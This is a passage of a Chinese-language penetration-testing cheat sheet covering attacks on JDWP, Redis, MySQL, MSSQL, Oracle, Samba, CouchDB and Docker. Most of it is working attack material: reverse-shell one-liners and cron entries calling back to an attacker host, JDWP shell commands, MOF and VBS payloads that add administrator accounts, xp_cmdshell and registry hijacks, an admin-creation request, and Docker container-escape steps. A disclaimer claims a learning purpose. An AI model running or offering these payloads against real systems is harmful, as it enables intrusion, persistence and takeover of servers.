本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.
资源
Apache JMeter 是美国阿帕奇(Apache)软件基金会的一套使用 Java 语言编写的用于压力测试和性能测试的开源软件。
CVE-2018-1297 Jmeter RMI 反序列化命令执行漏洞
-
简介
Apache JMeter 2.x 版本和 3.x 版本中存在安全漏洞。攻击者可利用该漏洞获取 JMeterEngine 的访问权限并发送未授权的代码。
-
POC | Payload | exp
Java_RMI
-
简介
Java RMI, 即 远程方法调用(Remote Method Invocation), 一种用于实现远程过程调用(RPC)(Remote procedure call)的 Java API, 能直接传输序列化后的 Java 对象和分布式垃圾收集
通常开放在 1090 1099 等端口, 由于直接传输 java 对象, 可能存在远程代码执行.
-
指纹
rmiregistry
-
文章
-
工具
jdwp
-
简介
JDWP 是 Java Debug Wire Protocol 的缩写,在 JPDA(Java Platform Debugger Architecture)中,它定义了调试器(debugger)和被调试的 Java 虚拟机(target vm)之间的通信协议。
与 PHP 的 Xdebug 类似,当其调试端口直接开放在公网上时,很容易被攻击者攻击并且获取系统权限。
-
指纹
JDWP-Handshake
telnet 端口后,输入命令 JDWP-Handshake 如果返回 JDWP-Handshake,证明存在漏洞。
jdb -attach IP:PORT
-
文章
-
工具
- IOActive/jdwp-shellifier
jdwp-shellifier.py -t xx.xx.xx.xx -p 8080 --break-on java.lang.String.indexOf --cmd 'touch /tmp/pwnd' jdwp-shellifier.py -t xx.xx.xx.xx -p 8080 --break-on java.lang.String.indexOf --cmd 'rm -f /var/run/yum.pid' jdwp-shellifier.py -t xx.xx.xx.xx -p 8080 --break-on java.lang.String.indexOf --cmd 'yum install -y nc' jdwp-shellifier.py -t xx.xx.xx.xx -p 8080 --break-on java.lang.String.indexOf --cmd 'ncat -v -l -p 7777 -e /bin/bash' jdwp-shellifier.py -t xx.xx.xx.xx -p 8000 --break-on java.lang.String.indexOf --cmd "bash -c {echo, bash64的payload } | {base64,-d} | {bash,-i}"
- Lz1y/jdwp-shellifier - 修改利用方式为通过对 Sleeping 的线程发送单步执行事件,达成断点,从而可以直接获取上下文、执行命令,而不用等待断点被击中。
- IOActive/jdwp-shellifier
Python_PDB
-
相关文章
-
POC | Payload | exp
telnet xxx.xxx.xxx.xxx 4444 1 w !1+1 !import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Python PIL 远程命令执行漏洞(GhostButt)
-
简介
Python 中处理图片的模块 PIL(Pillow),因为其内部调用了 GhostScript 而受到 GhostButt 漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。
-
相关文章
-
POC | Payload | exp
Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509
-
简介
Google Project Zero 的 Tavis Ormandy 在 Ghostscript 中发现了一堆漏洞,其中一个是 CVE-2018-16509,这个漏洞允许利用 v9.24 之前的 Ghostscript 中的 -dSAFER 旁路,通过处理 PostScript 中失败的还原(grestore)来禁用 LockSafetyParams 并避免无效访问,从而执行任意命令。此漏洞可通过库,如 ImageMagick 或带有 Ghotscript 包装器的编程语言中的图像库(本例中的 PIL/Pillow)实现。
-
POC | Payload | exp
Python unpickle 造成任意命令执行漏洞
-
相关文章
-
POC | Payload | exp
ruby-debug-ide
- 相关文章
Aria2 任意文件写入漏洞
-
简介
Aria2 是一个命令行下轻量级、多协议、多来源的下载工具 (支持 HTTP/HTTPS、FTP、BitTorrent、Metalink) ,内建 XML-RPC 和 JSON-RPC 接口.在有权限的情况下,我们可以使用 RPC 接口来操作 aria2 来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞.
-
文章
对 Shadowsocks stream ciphers 的重定向攻击
Xlight FTP Server < 3.2.1 user 参数 SQL 注入漏洞
-
简介
在执行 ODBC 认证过程中 Xlight FTP Server 没有正确地过滤用户所提交的用户名和口令字段,远程攻击者可以用"OR ‘1’=’1’ ;#"替换用户名绕过认证登录到服务器.
-
POC | Payload | exp
220 Xlight FTP Server 3.2 ready... User (server-4:(none)) : \' OR \'1\'=\'1\' ;# 331 Password required for \' OR \'1\'=\'1\' ;# Password : type anything 230 Login OK ftp>
Serv-U FTP Server 目录遍历漏洞
-
文章
-
POC | Payload | exp
ls ../windwos 550 ..... ls ..:/windows 150 .... ... ...
文章
CVE-1999-0554 目标主机 showmount -e 信息泄露
-
POC | Payload | exp
showmount -e <目标ip> mount -t nfs <目标ip>:/opt/applications/xxx_static_data /mnt
-
MSF 模块
use auxiliary/scanner/nfs/nfsmount set rhosts <目标ip> run
未授权访问
-
文章
-
POC | Payload | exp
rsync <目标IP>::
-
MSF 模块
use auxiliary/scanner/rsync/modules_list set rhosts <目标ip> run
Samba 是 Samba 团队开发的一套可使 UNIX 系列的操作系统与微软 Windows 操作系统的 SMB/CIFS 网络协议做连结的自由软件,它支持共享打印机、互相传输资料文件等。
CVE-2015-0240
-
概述
Samba 的 smbd 文件服务器守护进程中的 Netlogon 服务器实现过程中存在安全漏洞,该漏洞源于程序对未初始化的栈指针执行释放操作。远程攻击者可借助特制的 Netlogon 数据包利用该漏洞执行任意代码。以下版本受到影响:Samba 3.5.x 版本和 3.6.25 之前的 3.6.x 版本,4.0.25 之前的 4.0.x 版本,4.1.17 之前的 4.1.x 版本,4.2.0rc5 之前的 4.2.x 版本。
-
文章
-
MSF 模块
use auxiliary/scanner/smb/smb_uninit_cred set rhosts [ip] run
CVE-2017-7494
-
概述
Samba 允许连接一个远程的命名管道,并且在连接前会调用
is_known_pipename()
函数验证管道名称是否合法.在is_known_pipename()
函数中,并没有检查管道名称中的特殊字符,加载了使用该名称的动态链接库.导致攻击者可以构造一个恶意的动态链接库文件,执行任意代码.该漏洞要求的利用条件:
- 拥有共享文件写入权限,如:匿名可写等
- 需要知道共享目录的物理路径
-
影响版本
- Samba:4.6.5:::
- Samba:4.6.3:::
- Samba:4.6.2:::
- Samba:4.6.1:::
- Samba:4.6.0:::
-
文章
-
POC | Payload | exp
-
MSF 模块
use exploit/linux/samba/is_known_pipename set rhost [ip] set target 3 run
Apache CouchDB 是一个开源数据库,专注于易用性和成为"完全拥抱 web 的数据库"。它是一个使用JSON作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序).
未授权访问漏洞
-
概述
默认会在 5984 端口开放 Restful 的 API 接口,如果使用 SSL 的话就会监听在 6984 端口,用于数据库的管理功能。其 HTTP Server 默认开启时没有进行验证,而且绑定在 0.0.0.0,所有用户均可通过 API 访问导致未授权访问。
在官方配置文档中对 HTTP Server 的配置有 WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用户都没有这么配置,导致漏洞产生。
-
利用
http://[ip]:5984/_utils/
curl http://[ip]:5984
curl http://[ip]:5984/_config
CVE-2017-12635 垂直权限绕过漏洞
-
概述
CVE-2017-12635 是由于 Erlang 和 JavaScript 对 JSON 解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
-
影响版本
- 小于 1.7.0 以及 小于 2.1.1
-
POC | Payload | exp
来源 : Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: your-ip:5984 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 108 { "type": "user", "name": "vulhub", "roles": ["_admin"], "roles": [], "password": "vulhub" }
CVE-2017-12636 任意命令执行漏洞
-
概述
CVE-2017-12636 是一个任意命令执行漏洞,我们可以通过 config api 修改 couchdb 的配置 query_server,这个配置项在设计、执行 view 的时候将被运行。
-
影响版本
- 小于 1.7.0 以及 小于 2.1.1
-
POC | Payload | exp
Memcached 是一套常用的 key-value 分布式高速缓存系统
未授权访问漏洞
-
概述
由于 Memcached 的安全设计缺陷没有权限控制模块,所以对公网开放的 Memcache 服务很容易被攻击者扫描发现,攻击者无需认证通过命令交互可直接读取 Memcached 中的敏感信息。
-
POC | Payload | exp
telnet [ip] 11211
nc -vv [ip] 11211
stats # 查看 memcache 服务状态 stats items # 查看所有 items set aaa 0 10 9 # 存个 aaa 值 memcached get aaa # 读这个值
注入
教程
文章
SA 提权
-
判断扩展存储是否存在:
select count(*) from master.dbo.sysobjects where xtype = 'x' AND name= 'xp_cmdshell' select count(*) from master.dbo.sysobjects where name='xp_regread' 恢复: exec sp_dropextendedproc 'xp_cmdshell' exec sp_dropextendedproc xp_cmdshell,'xplog70.dll' EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;(SQL2005)
-
列目录:
exec master..xp_cmdshell 'ver' (or) exec master..xp_dirtree 'c:\',1,1 (or) drop table black create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))-- insert into black exec master..xp_cmdshell 'dir c:\' select top 1 mulu from black where id=1 xp_cmdshell 被删除时,可以用(5.a)开启沙盒模式,然后(5.b)方法提权
-
备份启动项:
alter database [master] set RECOVERY FULL create table cmd (a image) backup log [master] to disk = 'c:\cmd1' with init insert into cmd (a) values (0x(batcode)) backup log [master] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat' drop table cmd
-
映像劫持
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'
-
沙盒模式提权:
a :
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet�.0\Engines','SandBoxMode','REG_DWORD',0;
# 关闭沙盒模式b :
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user mstlab mstlab /add")');
#or c:\windows\system32\ias\dnary.mdb string 类型用此. 开启 OpenRowSet:exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
-
xp_regwrite 操作注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion un','black','REG_SZ','net user test test /add'
开启 xp_oacreate : exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL[是一种关联数据库管理系统],关联数据库[将数据保存在不同的表中],而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。[MySQL 的 SQL 语言是用于访问数据库的最常用标准化语言]。MySQL 软件[采用了双授权政策],它分为社区版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。
注入
MySQL 文件读
MSF 爆破
use auxiliary/scanner/mysql/mysql_login
set RHOSTS [IP]
set USER_FILE [用户名字典]
set PASS_FILE [密码字典]
set STOP_ON_SUCCESS true
set THREADS 20
exploit
MSF 上传文件执行
use exploit/windows/mysql/scrutinizer_upload_exec
set RHOST [ip]
set USERNAME [user]
set PASSWORD [pass]
set payload windows/meterpreter/bind_tcp
set RHOST [ip]
set LPORT 4444
exploit
MSF 获取 mysql.user 的 hash
use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS [ip]
set USERNAME [user]
set PASSWORD [pass]
set THREADS 20
exploit
CVE-2012-2122 Mysql 身份认证绕过漏洞
-
简介
当连接 MariaDB/MySQL 时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是 memcmp() 返回一个非零值,也会使 MySQL 认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入 SQL 数据库。
-
POC | Payload | exp
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
CVE-2012-5615 Oracle MySQL Server 5.5.19 用户名枚举漏洞
-
简介
MySQL 5.5.19 以及其他版本和 MariaDB 5.5.28a,5.3.11,5.2.13,5.1.66 以及其他版本中存在漏洞,该漏洞源于不同时间延迟产生不同错误消息取决于用户名是否存在。远程攻击者利用该漏洞枚举有效的用户名。
-
POC | Payload | exp
文章
UDF 提权
-
文章
-
POC | Payload | exp
-
MSF 模块
use exploit/multi/mysql/mysql_udf_payload set RHOSTS [ip] set USERNAME [user] set PASSWORD [pass] set target 0 set payload windows/meterpreter/bind_tcp set RHOST [ip] set LPORT 4444 exploit
MOF 提权
MOF提权的条件要求十分严苛:
- windows 03 及以下版本
- mysql 启动身份具有权限去读写 c:/windows/system32/wbem/mof 目录
- secure-file-priv 参数不为 null
#pragma namespace("\\.\root\subscription")
instance of __EventFilter as
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"net.exe user sqladmin admin /add&&net.exe localgroup administrators sqladmin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = ;
Filter = ;
};
- 保存为 1.mof,然后 mysql 执行:
select load_file('D:/wwwroot/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
- mof 被执行的话,会帮我们添加一个叫 sqladmin 的用户.
关于 Mof 提权的弊端
我们提权成功后,就算被删号,mof 也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用.那么我们如何删掉我们的入侵账号呢?
net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt
- MSF 模块
use exploit/windows/mysql/mysql_mof set RHOSTS [ip] set USERNAME [user] set PASSWORD [pass] set payload windows/meterpreter/bind_tcp set RHOST [ip] set LPORT 4444 exploit
启动项提权
在前两种方法都失败时,那可以试一下启动项提权..因为要求达到的条件和 mof 几乎一样,并且要重启服务,所以不是十分推荐.原理还是使用 mysql 写文件,写入一段 VBS 代码到开机自启动中,服务器重启达到创建用户并提权,可以使用 DDOS 迫使服务器重启.
提权条件
- file_priv 不为 null
- 已知 root 密码
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user sqladmin 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators sqladmin /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
Oracle Database Server 是美国甲骨文(Oracle)公司的一套关系数据库管理系统。该数据库管理系统提供数据管理、分布式处理等功能。
版本号
- oracle 版本号是真的乱,Oracle 数据库版本号请看维基百科 Oracle Database
注入
Tips
- scott 用户默认没有启用
- 可以用 oracle 的账号试试 ssh 的爆破
相关文章
相关渗透工具
- jas502n/oracleShell - oracle 数据库命令执行工具,支持连接的 Oracle 版本较低
- quentinhardy/odat - Oracle 数据库攻击工具,支持功能包括爆破 SID,提权,命令执行
# 安装 apt install -y libaio1 alien apt install -y python3-scapy pip3 install colorlog termcolor pycrypto passlib cx_Oracle pyinstaller pip3 install argcomplete && activate-global-python-argcomplete git clone https://github.com/quentinhardy/odat.git # 访问 https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html 下载 rpm 包 alien --to-deb oracle-instantclient19.6-basic-19.6.0.0.0-1.x86_64.rpm dpkg -i oracle-instantclient19.6-basic_19.6.0.0.0-2_amd64.deb export ORACLE_HOME=/usr/lib/oracle/19.6/client64/ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib export PATH=${ORACLE_HOME}bin:$PATH sudo -s sources /etc/profile python3 -c 'import cx_Oracle' python3 odat.py -h
python3 odat.py all -s 192.168.1.254 -p 1521 python3 odat.py all -s 192.168.1.254 -p 1521 -d ORA19C -U system -P Test1234 # 信息收集 python3 odat.py tnscmd -s 192.168.1.254 -p 1521 --ping python3 odat.py tnscmd -s 192.168.1.254 -p 1521 --version python3 odat.py tnscmd -s 192.168.1.254 -p 1521 --status # 写文件 echo "Hacked By Gerh" > /tmp/File-Test.txt python3 odat.py dbmsxslprocessor -s 192.168.1.254 -p 1521 -d ORA19C -U system -P Test1234 --putFile "/tmp" "File-Test.txt" "/tmp/File-Test.txt"
MSF 爆破
use admin/oracle/oracle_login
set RHOSTS [IP]
set SID [SID]
run
CVE-2010-3600 Oracle Enterprise Manager Grid Control JSP 代码执行漏洞
-
简介
Oracle Database Server 11.1.0.7 和 11.2.0.1 版本,以及 Enterprise Manager Grid Control 10.2.0.5 版本的 Client System Analyzer 组件中存在未明漏洞。远程攻击者可借助未知向量影响机密性、完整性和可用性。
-
影响版本
- Oracle:Enterprise_manager_grid_control:10.2.0.5:::
- Oracle:Database_server:11.1.0.7:::
- Oracle:Database_server:11.2.0.1:::
-
MSF 模块
use exploit/windows/oracle/client_system_analyzer_upload
CVE-2012-1675 Oracle TNS Listener Remote Poisoning
-
简介
Oracle Database Server 在实现上存在可允许攻击者向远程“TNS Listener”组件处理的数据投毒的漏洞。攻击者可利用此漏洞将数据库服务器的合法“TNS Listener”组件中的数据转向到攻击者控制的系统,导致控制远程组件的数据库实例,造成组件和合法数据库之间的攻击者攻击、会话劫持或拒绝服务攻击。
-
影响版本
- Oracle:Database_server:11.2.0.4:::
- Oracle:Database_server:11.2.0.3:::
- Oracle:Database_server:11.2.0.2:::
- Oracle:Database_server:11.1.0.7:::
- Oracle:Database_server:10.2.0.5:::
-
文章
-
MSF 模块
use auxiliary/admin/oracle/tnscmd # 该漏洞可以远程获取到 oracle 的内存信息,若是能获取到内存中的数据即为存在漏洞. set rhosts [ip] run use auxiliary/admin/oracle/sid_brute # 爆破 oracle 的 SID set rhosts [ip] run
OrientDB 是英国 Orient 公司一套开源的 NoSQL 数据库管理系统。该系统支持 ACID 事务、快速索引和 SQL 查询等功能。
CVE-2017-11467
-
简介
OrientDB 2.22 及之前的版本中存在安全漏洞,该漏洞源于程序没有强制执行权限请求。远程攻击者可通过发送特制的请求利用该漏洞执行任意的操作系统命令。
-
文章
-
POC | Payload | exp
工具
CVE-2018-1058 PostgreSQL 提权漏洞
-
概述
PostgreSQL 其 9.3 到 10 版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。
-
POC | Payload | exp
CVE-2019-9193 PostgreSQL 高权限命令执行漏洞
-
概述
PostgreSQL 其 9.3 到 11 版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
-
文章
-
POC | Payload | exp
DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;
文章
未授权访问漏洞
-
概述
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的 ssh 公钥写入目标服务器的
/root/.ssh
文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器、添加计划任务、写入 Webshell 等操作。 -
文章
-
搭建环境
wget http://download.redis.io/releases/redis-3.2.0.tar.gz tar xzf redis-3.2.0.tar.gz cd redis-3.2.0 make
vim redis.conf # bind 127.0.0.1 protected-mode no
./src/redis-server redis.conf
-
利用
redis-cli -h <目标IP> > info # 查看 redis 版本信息、一些具体信息、服务器版本信息等等: > CONFIG GET dir # 获取默认的 redis 目录 > CONFIG GET dbfilename # 获取默认的 rdb 文件名
利用计划任务执行命令反弹 shell
在 redis 以 root 权限运行时可以写 crontab 来执行命令反弹 shell 先在自己的服务器上监听一个端口
nc -lvnp 7999
然后执行命令:> config set dir /var/spool/cron > set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.1.1/7999 0>&1\n\n\n" > set x "\n* * * * * /bin/bash -i > /dev/tcp/192.168.72.129/7999 0<&1 2>&1\n" > config set dbfilename root > save
写 ssh-keygen 公钥然后使用私钥登陆
在以下条件下,可以利用此方法
- Redis 服务使用 ROOT 账号启动
- 服务器开放了 SSH 服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器.
首先在本地生成一对密钥
ssh-keygen -t rsa
然后执行命令:# 将公钥的内容写到一个文本中命令如下 (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt # 将里面的内容写入远程的 Redis 服务器上并且设置其 Key 为 test命令如下 cat test.txt | redis -cli -h <hostname> -x set test redis-cli -h <hostname> keys * get test config set dir "/root/.ssh" config set dbfilename "authorized_keys" save
保存后可以直接利用公钥登录 ssh
往 web 物理路径写 webshell
当 redis 权限不高时,并且服务器开着 web 服务,在 redis 有 web 目录写权限时,可以尝试往 web 路径写 webshell,执行以下命令
> config set dir /var/www/html/ > config set dbfilename shell.php > set x "<?php phpinfo();?>" > save
即可将 shell 写入 web 目录(web 目录根据实际情况)
主从复制远程代码执行漏洞
-
搭建环境
yum install -y tcl wget download.redis.io/releases/redis-4.0.11.tar.gz tar zxf redis-4.0.11.tar.gz cd redis-4.0.11 make PREFIX=/usr/local/redis install /usr/local/redis/bin/redis-server 参考 https://mp.weixin.qq.com/s/MSWLqzyNnliX1G7TRYAwVw
-
文章
-
POC | Payload | exp
Lua RCE
-
文章
-
POC | Payload | exp
检测虚拟机
-
windows
cmd :
systeminfo
Powershell :
get-wmiobject win32_computersystem | fl model
-
linux
lshw -class system | grep -i VM & grep -i virtual dmesg | grep -i VM & grep -i virtual dmidecode -s system-product-name ls /tmp systemd-detect-virt virt-what ls -alh /.dockerenv cat /proc/1/cgroup
注意一下 1494 和 2598 端口
文章
Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台 Docker。
相关文章
相关工具
- cdk-team/CDK - 款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
相关案例
Docker 逃逸
-
相关文章
-
修复方案
- 更新 Docker 版本到 19.03.1 及更高版本 —— CVE-2019-14271、覆盖 CVE-2019-5736
- 更新 runc 版本 > 1.0-rc6
- 更新 k8s 集群版本>1.12
- 更新 Linux 内核版本>=2.6.22——CVE-2016-5195(脏牛)
- 更新 Linux 内核版本>=4.14——CVE-2017-1000405(大脏牛),未找到 docker 逃逸利用过程,但存在逃逸风险
- 不建议以 root 权限运行 Docker 服务
- 不建议以 privileged(特权模式)启动 Docker
- 不建议将宿主机目录挂载至容器目录
- 不建议将容器以 —cap-add=SYSADMIN 启动,SYSADMIN 意为 container 进程允许执行 mount、umount 等一系列系统管理操作,存在容器逃逸风险
-
概述
通过 Dirty Cow 漏洞,结合 EXP,就可以返回一个宿主机的高权限 Shell,并拿到宿主机的 root 权限,可以直接操作宿主机的文件。
VDSO(virtual dvnamic shared object) : 这是一个小型共享库,能将内核自动映射到所有用户程序的地址空间。
- 举个例子:gettimeofday 是一个获取当前时间的函数,它经常被用户的程序调用,如果一个程序需要知道当前的时间,程序就会频繁的轮询。为了减少资源开销,内核需要把它放在一个所有进程都能访问的内存位置,然后通过 VDSO 定义一个功能来共享这个对象,让进程来访问此信息。通过这种方式,调用的时间和资源花销就大大的降低了,速度也就变得更快。
- 那么如何利用 VDSO 来实现 Docker 逃逸的?首先 POC 利用 Dirty Cow 漏洞,将 Payload 写到 VDSO 中的一些闲置内存中,并改变函数的执行顺序,使得在执行正常函数之前调用这个 Shellcode。Shellcode 初始化时会检测是否被 root 所调用,如果调用,则继续执行,如果没有调用则返回,并执行 clock_gettime 函数,接下来它会检测
/tmp/.X
文件的存在,如果存在,则这时已经是 root 权限了,然后它会打开一个反向的 TCP 链接,为 Shellcode 中填写的 ip 返回一个 Shell,漏洞就这样产生了。
-
https://www.ichunqiu.com/experiment/detail?id=100297&source=2
前提
- root 权限启动 docker
- 主机上有镜像,或自己下载镜像
- API 版本大于 1.5
docker.sock 挂载到容器内部
-
概述
Docker 采用 C/S 架构,我们平常使用的 Docker 命令中,docker 即为 client,Server 端的角色由 docker daemon 扮演,二者之间通信方式有以下3种:
- unix:///var/run/docker.sock
- tcp://host:port
- fd://socketfd
其中使用 docker.sock 进行通信为默认方式,当容器中进程需在生产过程中与 Docker 守护进程通信时,容器本身需要挂载
/var/run/docker.sock
文件。本质上而言,能够访问 docker socket 或连接 HTTPS API 的进程可以执行 Docker 服务能够运行的任意命令,以 root 权限运行的 Docker 服务通常可以访问整个主机系统。
因此,当容器访问 docker socket 时,我们可通过与 docker daemonv 的通信对其进行恶意操纵完成逃逸。若容器A可以访问 docker socket,我们便可在其内部安装 client(docker),通过 docker.sock 与宿主机的 server(docker daemon)进行交互,运行并切换至不安全的容器 B,最终在容器 B 中控制宿主机。
-
首先运行一个挂载
/var/run/
的容器docker pull ubuntu:18.04 docker run -it -v /var/run/:/host/var/run/ ubuntu:18.04 /bin/bash
-
寻找下挂载的 sock 文件
find / -name docker.sock
-
在容器内安装 Docker 作为 client
echo "deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse" > /etc/apt/sources.list echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse" >> /etc/apt/sources.list echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse" >> /etc/apt/sources.list echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse" >> /etc/apt/sources.list echo "deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse" >> /etc/apt/sources.list echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse" >> /etc/apt/sources.list echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse" >> /etc/apt/sources.list echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse" >> /etc/apt/sources.list echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic-proposed main restricted universe multiverse" >> /etc/apt/sources.list echo "deb-src http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse" >> /etc/apt/sources.list apt-get update apt-get install -y docker.io vim echo "nameserver 114.114.114.114" > /etc/resolv.conf
-
查看宿主机 docker 信息
docker -H unix:///host/var/run/docker.sock info
-
运行一个新容器并挂载宿主机根路径
docker -H unix:///host/var/run/docker.sock run -v /:/aa -it ubuntu:14.04 /bin/bash
-
在新容器 /aa 路径下完成对宿主机资源的访问,写入计划任务文件,反弹 shell
cd /aa ls echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/9988 0>&1' >> /aa/var/spool/cron/root
成功接收到宿主机反弹的 shell
privileged 特权模式
-
概述
特权模式于版本 0.6 时被引入 Docker,允许容器内的 root 拥有外部物理机 root 权限,而此前容器内 root 用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行
docker run --privileged
时,Docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行挂载。当控制使用特权模式启动的容器时,docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
-
首先以特权模式运行一个 docker 容器
docker run -it --privileged=true ubuntu /bin/bash
-
查看磁盘文件
fdisk -l
-
dm-0 存在于
/dev
目录下,新建一个目录,将/dev/dm-0
挂载至新建的目录mkdir /aaa mount /dev/dm-0 /aaa
-
写入计划任务到宿主机
echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/2100 0>&1' >> /aaa/var/spool/cron/root
capability SYS_ADMIN
-
前提
- 在容器内 root 用户
- 容器必须使用 SYS_ADMIN Linux capability 运行
- 容器必须缺少 AppArmor 配置文件,否则将允许 mount syscall
- cgroup v1 虚拟文件系统必须以读写方式安装在容器内部
-
概述
我们需要一个 cgroup,可以在其中写入 notify_on_release 文件(for enable cgroup notifications),挂载 cgroup 控制器并创建子 cgroup,创建
/bin/sh
进程并将其 PID 写入 cgroup.procs 文件,sh 退出后执行release_agent 文件。
-
主机使用 SYS_ADMIN Linux capability 运行一个 docker 容器
docker run -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu /bin/bash
-
挂载 cgroup 控制器并创建子 cgroup
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
注:如果这里报错"mount: /tmp/cgrp: special device cgroup does not exist.",将 rdma 改为 memory
-
创建
/bin/sh
